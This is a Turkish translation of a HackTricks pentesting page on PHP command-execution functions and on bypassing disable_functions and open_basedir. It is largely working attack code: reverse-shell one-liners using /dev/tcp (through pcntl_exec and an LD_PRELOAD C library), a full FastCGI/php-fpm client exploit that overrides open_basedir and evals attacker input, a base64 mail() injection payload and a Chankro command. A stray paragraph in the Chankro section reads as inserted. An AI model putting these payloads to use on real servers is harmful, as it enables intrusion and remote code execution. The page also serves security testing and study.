Turkish - Ht
HackTricks Training Twitter Linkedin Sponsor

PHP - Useful Functions & disable_functions/open_basedir bypass

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

  • Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!

  • [Resmi PEASS & HackTricks ürünleri]'ni edinin (https://peass.creator-spring.com)

  • [The PEASS Family]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [NFT'ler]'imiz koleksiyonumuz

  • Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**

  • Hacking hilelerinizi paylaşarak PR'lar göndererek [HackTricks] (https://github.com/carlospolop/hacktricks) ve [HackTricks Cloud] (https://github.com/carlospolop/hacktricks-cloud) github depolarına.

PHP Komut ve Kod Yürütme

PHP Komut Yürütme

Not: p0wny-shell adlı php webshell, aşağıdaki fonksiyonları otomatik olarak kontrol edebilir ve atlayabilir, eğer bunlardan bazıları devre dışı bırakılmışsa.

exec - Komutların çıktısının son satırını döndürür

echo exec("uname  -a");

passthru - Komut çıktısını doğrudan tarayıcıya iletiyor

echo passthru("uname -a");

sistem - Komutların çıktısını doğrudan tarayıcıya ileterek son satırı döndürür

echo system("uname -a");

shell_exec - Komutların çıktısını döndürür

echo shell_exec("uname -a");

`` (backticks) - shell_exec() ile aynı işlevi görür

echo `uname -a`

popen - Bir komutun işlemine okuma veya yazma boru hattı açar

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - popen() ile benzer ancak daha fazla kontrol derecesine sahiptir

proc_close(proc_open("uname -a",array(),$something));

preg_replace işlevi, bir dize içinde belirtilen deseni arar ve bu deseni başka bir dizeyle değiştirir.

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Bir programı çalıştırır (varsayılan olarak modern ve pek de modern olmayan PHP'de bu işlevi kullanabilmek için pcntl.so modülünü yüklemeniz gerekir)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - Bu işlev e-posta göndermek için kullanılır, ancak $options parametresi içine keyfi komutlar enjekte etmek için de kötüye kullanılabilir. Bu, çünkü php mail işlevi genellikle sistem içinde sendmail ikili dosyasını çağırır ve size ekstra seçenekler eklemenize izin verir. Ancak, yürütülen komutun çıktısını göremezsiniz, bu yüzden çıktıyı bir dosyaya yazan bir kabuk betiği oluşturmanız, bunu kullanarak mail ile çalıştırmanız ve çıktıyı yazdırmanız önerilir:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - Bu işlev, bir PHP uzantısını dinamik olarak yüklemek için kullanılabilir. Bu işlev her zaman mevcut olmayabilir, bu yüzden bunu sömürmeye çalışmadan önce mevcut olup olmadığını kontrol etmelisiniz. Bu işlevi nasıl sömüreceğinizi öğrenmek için bu sayfayı okuyun.

PHP Kodu Yürütme

Eval dışında PHP kodunu yürütmek için başka yollar da vardır: include/require, Yerel Dosya Dahil Etme ve Uzak Dosya Dahil Etme zafiyetleri şeklinde uzaktan kod yürütme için kullanılabilir.

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

Devre dışı bırakılan fonksiyonlar, PHP'de .ini dosyalarında yapılandırılabilen ve belirtilen fonksiyonların kullanımını yasaklayan ayarlamadır. Open basedir, PHP'ye erişebileceği klasörü belirten bir ayarlamadır. PHP ayarı genellikle /etc/php7/conf.d veya benzeri bir yol üzerinde yapılandırılır.

Her iki yapılandırma da phpinfo() çıktısında görülebilir:

open_basedir Atlatma

open_basedir, PHP'nin erişebileceği klasörleri yapılandırır, bu klasörlerin dışındaki herhangi bir dosyayı yazma/okuma/çalıştırma yapamazsınız, ayrıca diğer dizinleri listeleyemezsiniz. Ancak, herhangi bir şekilde keyfi PHP kodunu çalıştırabilirseniz, kısıtlamayı atlamak için aşağıdaki kod parçacıklarını deneyebilirsiniz.

glob:// atlatma ile dizinleri listeleme

Bu ilk örnekte, glob:// protokolü ile bazı yol atlatmaları kullanılmıştır:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

Not1: Yolda /etc/* ve diğer klasörleri listelemek için /e??/* kullanabilirsiniz. Not2: Kodun bir kısmının tekrarlandığı görünüyor, ancak aslında bu gerekli! Not3: Bu örnek yalnızca klasörleri listelemek için kullanışlıdır, dosyaları okumak için değil

Tam open_basedir atlatma FastCGI'yi suiistimal ederek

Eğer PHP-FPM ve FastCGI hakkında daha fazla bilgi edinmek istiyorsanız bu sayfanın ilk bölümünü okuyabilirsiniz. Eğer php-fpm yapılandırılmışsa, open_basedir'yi tamamen atlamak için onu suiistimal edebilirsiniz:

İlk yapmanız gereken şeyin php-fpm'nin unix soketinin nerede olduğunu bulmak olduğuna dikkat edin. Genellikle /var/run altında olur, bu yüzden dizini listelemek ve bulmak için önceki kodu kullanabilirsiniz. Kod buradan alınmıştır.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
```php
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Kötü istek');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('Bu uygulama çoklu bağlantıyı desteklemiyor [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('Yeni istek reddedildi; çok meşgul [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Rol değeri bilinmiyor [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// gerçek saldırı buradan başlıyor
if (!isset($_REQUEST['cmd'])) {
die("Girişinizi kontrol edin\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Hiçbir şey yapmaz
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Çağrı: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Bu betikler, genellikle /var/run konumunda bulunan php-fpm'nin unix soketiyle iletişim kuracak ve keyfi kodu yürütecektir. Gönderilen PHP_VALUE özniteliği tarafından open_basedir ayarları geçersiz kılınacaktır. Gönderdiğiniz PHP kodunu yürütmek için eval'in cmd parametresi içinde kullanıldığına dikkat edin. Ayrıca yorum satırı 324'e dikkat edin, onu açabilir ve payload otomatik olarak verilen URL'ye bağlanacak ve orada bulunan PHP kodunu yürütecektir. Sadece /etc/passwd dosyasının içeriğini almak için http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); adresine erişin.

Muhtemelen open_basedir yapılandırmasını geçersiz kılabildiğimiz gibi disable_functions'ı da geçersiz kılabiliriz diye düşünebilirsiniz. Deneyin, ancak işe yaramayacak, görünüşe göre disable_functions yalnızca bir .ini php yapılandırma dosyasında yapılandırılabilir ve PHP_VALUE kullanarak yaptığınız değişiklikler bu belirli ayar üzerinde etkili olmayacaktır.

disable_functions Atlatma

Eğer bir makinede PHP kodunun yürütülmesini yönetebiliyorsanız muhtemelen keyfi sistem komutlarını yürütmek istersiniz. Bu durumda, genellikle disable_functions'da devre dışı bırakılmış olan PHP fonksiyonlarının çoğunun veya tümünün sistem komutlarını yürütmeye izin veren fonksiyonlar olduğunu keşfetmek olağandır. Bu kısıtlamayı nasıl atlayabileceğinizi görelim (eğer atlayabilirseniz)

Otomatik atlatma keşfi

https://github.com/teambi0s/dfunc-bypasser aracını kullanabilir ve hangi fonksiyonun (varsa) disable_functions'ı atlamak için kullanılabileceğini size gösterecektir.

Diğer sistem fonksiyonlarını kullanarak atlatma

Bu sayfanın başına geri dönün ve komut yürütme fonksiyonlarından herhangi birinin devre dışı bırakılmadığını ve ortamda mevcut olduğunu kontrol edin. Bir tanesini bulursanız, keyfi sistem komutlarını yürütmek için kullanabilirsiniz.

LD_PRELOAD atlatması

mail() gibi bazı PHP fonksiyonlarının sistem içinde ikili dosyaları yürüteceği iyi bilinmektedir. Bu nedenle, bunları herhangi bir şeyi yürütebilecek bir kütüphane yüklemeleri için LD_PRELOAD ortam değişkenini kullanarak kötüye kullanabilirsiniz.

LD_PRELOAD ile disable_functions'ı atlamak için kullanılabilecek fonksiyonlar

  • mail

  • mb_send_mail: php-mbstring modülü yüklü olduğunda etkilidir.

  • imap_mail: php-imap modülü mevcutsa çalışır.

  • libvirt_connect: php-libvirt-php modülünün gerektirir.

  • gnupg_init: php-gnupg modülü yüklü olduğunda kullanılabilir.

  • new imagick(): Bu sınıf kısıtlamaları atlamak için kötüye kullanılabilir. Detaylı saldırı teknikleri kapsamlı bir yazıda bulunabilir.

Bu fonksiyonları bulmak için kullanılan fuzzing betiğini burada bulabilirsiniz.

İşte LD_PRELOAD ortam değişkenini kötüye kullanmak için derleyebileceğiniz bir kütüphane:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

Chankro Kullanarak Atlatma

Bu yanlış yapılandırmadan yararlanmak için Chankro kullanabilirsiniz. Bu, yüklemeniz gereken bir PHP açığı oluşturacak bir araçtır ve bu açığı kötüye kullanmak için zayıf sunucuya yüklemeniz ve çalıştırmanız gerekmektedir (web üzerinden erişin).

Chankro, kurbanın diskinin içine yazacak olan kütüphane ve ters kabuk'u belirleyeceğiniz ve ters kabuğu çalıştırmak için **LD_PRELOAD hilesi + PHP mail()** fonksiyonunu kullanacak olan bir araçtır.

Chankro'yu kullanabilmek için, mail ve putenv'in disable_functions listesinin içinde bulunmaması gerektiğini unutmayın.

Aşağıdaki örnekte, arch 64 için chankro açığı oluşturmayı görebilirsiniz, bu açık whoami'yi çalıştıracak ve çıktıyı /tmp/chankro_shell.out içinde kaydedecek, chankro kütüphaneyi ve yükü /tmp içine yazacak ve son açık bicho.php olarak adlandırılacaktır (bu, kurban sunucuya yüklemeniz gereken dosyadır):

#!/bin/sh
whoami > /tmp/chankro_shell.out

Bu PHP işlevleri, disable_functions ve open_basedir bypass gibi güvenlik önlemlerini atlamak için kullanışlıdır. disable_functions, belirli işlevleri devre dışı bırakmak için kullanılırken, open_basedir, dosya işlemlerinin sınırlarını belirler. Bu işlevlerin kullanımı, güvenlik açıklarını tespit etmek ve sistemlerinizi güçlendirmek için önemlidir.

python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php

Eğer mail fonksiyonunun devre dışı bırakılan fonksiyonlar tarafından engellendiğini fark ederseniz, yine de mb_send_mail fonksiyonunu kullanabilirsiniz. Bu teknik ve Chankro hakkında daha fazla bilgi için buraya bakabilirsiniz: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

PHP yeteneklerini kullanarak "Bypass" etme

PHP kullanarak dosyaları okuyabilir ve yazabilir, dizinler oluşturabilir ve izinleri değiştirebilirsiniz. Hatta veritabanlarını dökümleyebilirsiniz. Belki PHP kullanarak makineyi numaralandırarak ayrıcalıkları yükseltme/komutları yürütme yolu bulabilirsiniz (örneğin bazı özel ssh anahtarlarını okuyarak).

Bu işlemleri gerçekleştirmeyi çok kolay hale getiren bir web kabuğu oluşturdum (çoğu web kabuğu da genellikle size bu seçenekleri sunacaktır): https://github.com/carlospolop/phpwebshelllimited

Modüller/Sürüme bağlı bypass'lar

Eğer belirli bir modül kullanılıyorsa veya belirli bir PHP sürümünü sömürüyorsa, disable_functions'ı atlayabileceğiniz birkaç yol vardır:

Otomatik Araç

Aşağıdaki betik burada yorumlanan bazı yöntemleri denemeye çalışır: https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

Diğer İlginç PHP fonksiyonları

Geriçağırımları kabul eden fonksiyonlar listesi

Bu fonksiyonlar, saldırganın seçtiği bir fonksiyonu çağırmak için kullanılabilecek bir dize parametresini kabul eder. Saldırganın bir parametre geçme yeteneğine sahip olup olmadığı fonksiyona bağlı olarak değişebilir. Bu durumda phpinfo() gibi bir Bilgi Sızdırma fonksiyonu kullanılabilir.

Geribildirimler / Çağırılabilirler

Buradan listelere devam edin

// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

Bilgi Sızdırma

Bu işlev çağrılarının çoğu sızıntılar değildir. Ancak, dönen verilerden herhangi biri bir saldırgan tarafından görüntülenebilirse bir zafiyet olabilir. Bir saldırgan phpinfo() görebiliyorsa, bu kesinlikle bir zafiyettir.

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Diğer

extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

Dosya Sistem Fonksiyonları

RATS'a göre, php'deki tüm dosya sistem fonksiyonları kötü niyetli. Bunlardan bazıları saldırgan için çok kullanışsız görünmeyebilir. Diğerleri düşündüğünüzden daha kullanışlı olabilir. Örneğin, allow_url_fopen=On ise bir url dosya yolu olarak kullanılabilir, bu nedenle copy($_GET['s'], $_GET['d']); çağrısı, bir PHP betiğini sistemin herhangi bir yerine yüklemek için kullanılabilir. Ayrıca, bir site, GET aracılığıyla gönderilen bir isteğe karşı savunmasız ise, tüm bu dosya sistem fonksiyonları, saldırıyı başka bir ana bilgisayara yönlendirmek için sunucunuz aracılığıyla kötüye kullanılabilir.

Açık dosya sistem işleyicisi

fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

Dosya sistemine yazma (kısmen okuma ile birlikte)

chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

Dosya sistemi üzerinden okuma

file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
Sıfırdan kahramana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

PreviousPHP TricksNextdisable_functions bypass - php-fpm/FastCGI

Last updated